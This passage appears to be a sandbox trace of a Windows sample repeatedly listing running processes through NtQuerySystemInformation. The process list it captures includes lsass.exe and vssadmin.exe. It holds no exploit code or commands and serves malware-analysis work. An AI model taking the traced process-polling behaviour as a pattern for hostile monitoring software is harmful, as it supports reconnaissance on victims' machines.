Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0178.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.172] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0178.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.172] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0178.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.173] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x16318) returned 0x33d60f0 [0178.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.173] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x1733c) returned 0x33d60f0 [0178.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0178.174] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0178.174] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f05b0 [0178.174] RtlFreeAnsiString (AnsiString="System") [0178.174] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0178.174] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1df8 [0178.174] RtlFreeAnsiString (AnsiString="smss.exe") [0178.174] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0178.174] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1df8 [0178.174] RtlFreeAnsiString (AnsiString="csrss.exe") [0178.175] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0178.175] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0178.175] RtlFreeAnsiString (AnsiString="wininit.exe") [0178.175] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0178.175] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e70 [0178.175] RtlFreeAnsiString (AnsiString="csrss.exe") [0178.175] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0178.175] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0178.175] RtlFreeAnsiString (AnsiString="winlogon.exe") [0178.175] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0178.175] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0178.175] RtlFreeAnsiString (AnsiString="services.exe") [0178.175] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0178.175] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e58 [0178.175] RtlFreeAnsiString (AnsiString="lsass.exe") [0178.175] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0178.175] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e70 [0178.175] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0178.175] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0178.175] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e40 [0178.175] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0178.175] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.176] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0178.176] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.176] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0178.176] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.176] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0178.176] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.176] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0178.176] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0178.176] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0600 [0178.176] RtlFreeAnsiString (AnsiString="dwm.exe") [0178.176] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.176] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0178.176] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.176] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0178.176] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.176] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0178.176] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.176] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e88) returned 1 [0178.176] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.176] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0178.176] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.176] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0178.176] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.176] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0178.176] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.176] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0178.176] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.176] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0178.177] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.177] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0178.177] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.177] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0178.177] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.177] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0178.177] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.177] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0178.177] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.177] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0178.177] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.177] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0178.177] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.177] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1de0) returned 1 [0178.177] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.177] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0178.177] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.177] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e10) returned 1 [0178.177] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.177] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0178.177] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.177] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0178.178] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0178.178] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0178.178] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0178.178] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.178] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0178.178] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.178] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e28) returned 1 [0178.178] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0178.178] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0178.178] RtlFreeAnsiString (AnsiString="audiodg.exe") [0178.178] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0178.178] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e28 [0178.178] RtlFreeAnsiString (AnsiString="sihost.exe") [0178.178] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.178] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0178.178] RtlFreeAnsiString (AnsiString="svchost.exe") [0178.178] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e40) returned 1 [0178.178] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0178.178] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1ab8 [0178.178] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0178.178] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0178.178] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbf88 [0178.178] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0178.178] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0178.178] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1ab8 [0178.179] RtlFreeAnsiString (AnsiString="Memory Compression") [0178.179] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0178.179] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e70 [0178.179] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0178.179] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0178.179] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0178.179] RtlFreeAnsiString (AnsiString="explorer.exe") [0178.179] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1df8) returned 1 [0178.179] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0178.179] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0178.179] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0178.179] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0178.179] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d18d8 [0178.179] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0178.179] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0178.179] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1a18 [0178.179] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0178.179] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0178.179] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0178.179] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0178.179] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0178.179] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0178.179] RtlFreeAnsiString (AnsiString="explorer.exe") [0178.179] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e70) returned 1 [0178.180] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0178.180] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e10 [0178.180] RtlFreeAnsiString (AnsiString="explorer.exe") [0178.180] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33c1e10) returned 1 [0178.180] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0178.180] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0178.180] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0178.180] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0178.180] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0178.180] RtlFreeAnsiString (AnsiString="conhost.exe") [0178.180] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0178.180] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0178.180] RtlFreeAnsiString (AnsiString="dllhost.exe") [0178.180] Sleep (dwMilliseconds=0x64) [0178.679] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0178.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.686] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0178.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.687] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0178.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.687] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0178.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.687] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0178.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.688] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0178.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.688] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0178.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.688] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0178.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.688] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0178.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.689] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0178.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.689] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0178.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.689] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0178.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.689] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0178.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.690] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0178.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.690] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0178.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.690] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0178.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.691] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0178.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.691] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0178.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.691] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0178.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.692] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0178.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.692] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0178.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.693] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x16318) returned 0x33d60f0 [0178.693] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0178.693] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x1733c) returned 0x33d60f0 [0178.693] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0178.694] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0178.694] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0680 [0178.694] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0178.694] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e70 [0178.694] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0178.694] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e28 [0178.694] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0178.694] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0178.694] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0178.694] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e58 [0178.694] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0178.694] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0178.694] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0178.694] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0178.694] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0178.694] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e10 [0178.694] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0178.694] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0178.694] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0178.694] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1df8 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0178.695] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0178.695] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, 